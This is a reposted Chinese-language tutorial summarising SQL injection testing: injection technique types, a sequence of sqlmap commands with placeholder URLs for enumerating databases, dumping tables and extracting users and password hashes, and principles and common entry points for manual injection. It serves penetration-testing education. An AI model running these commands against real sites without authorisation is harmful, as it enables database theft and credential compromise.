(一)SQL注入漏洞測試的方式總結


一、工具注入

1.SQLMap的作用

  • 判斷可注入的參數
  • 判斷可以用那種SQL注入技術來注入
  • 識別出哪種數據庫
  • 根據用戶選擇,讀取哪些數據(庫、表、列、字段值...)

2.注入技術

  • 【A】基於布爾的盲注(Boolean-Based Blind Injection):
    可以根據返回頁面判斷條件真假的注入
  • 【B】基於時間的盲注(Time-Based Blind Injection):
    不能根據頁面返回內容判斷任何信息,用條件語句查看時間延遲語句是否執行(即頁面返回時間是否增加)來判斷
  • 【C】基於報錯注入(Error-Based Injection):
    頁面會返回錯誤信息,或者把注入的語句的結果直接返回在頁面中
  • 【D】聯合查詢注入(Union Query Injection):
    可以使用union的情況下的注入
  • 【E】堆查詢注入(Stacked Query Injection):
    可以同時執行多條語句的執行時的注入
  • 【F】內聯注入(Inline Injection):
    向查詢注入一些SQL代碼后,原來的查詢仍然會全部執行

3.操作步驟

1)利用掃描工具(如AppScan/AWVS),遍歷探索網站,找出帶參數的動態/偽靜態url
2)初步判斷是否為SQL注入的鏈接
3)利用自動化工具or手工進一步驗證是否為注入點
GET請求:python sqlmap.py -u "{test-url}"
需要登錄:python sqlmap.py -u "{test-url}" --cookie="cookie"
POST請求:python sqlmap.py -u "{test-url}" --data="parameter=value"
4)若是注入點,則嘗試獲取DB的類型和版本、服務器信息
5)DB的數目及名稱
python sqlmap.py -u "{test-url}" --dbs
6)每個DB下面的表
python sqlmap.py -u "{test-url}" -D dbName --tables
7)表中的字段(列)
直接輸出指定DB指定Table的列表&值的信息
python sqlmap.py -u "{test-url}" -D dbName -T tblName --dump
python sqlmap.py -u "{test-url}" -D dbname -T tblName --columns
8)字段的屬性值
python sqlmap.py -u "{test-url}" -D dbName -T tblName -C "x1,x2,..." --dump
9)查看Web當前使用的DB
python sqlmap.py -u "{test-url}" --current-db
10)列出DB Server所有用戶
python sqlmap.py -u "{test-url}" --users
11)DB的賬戶和密碼
python sqlmap.py -u "{test-url}" --passwords

二、手工注入

1.注入參數類型

  • 字符型
    1)可添加單引號or雙引號測試
  • 數字型
    1)不需要添加開始和結尾的單引號定界符
    2)數據庫處理數值類型的值時,數值可不帶引號

2.判斷注入原則

確認是否存在SQL注入漏洞,主要是理解服務器端正在執行什么SQL代碼,然后針對每種情況構造注入相應的條件,收集所返回的響應情況,推測SQL注入的類型,逐步猜解數據庫相關的數據信息

3.常見注入點

根據應用程序和數據交互的地方進行判斷

  • Authentication(認證頁面)
  • Search Fields(搜索頁面)
  • Post Fields(Post請求)
  • Get Fields(Get請求)
  • HTTP Header(HTTP頭部)
  • Cookie



作者:Fighting_001
鏈接:https://www.jianshu.com/p/50a48ac63cc5
來源:簡書


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM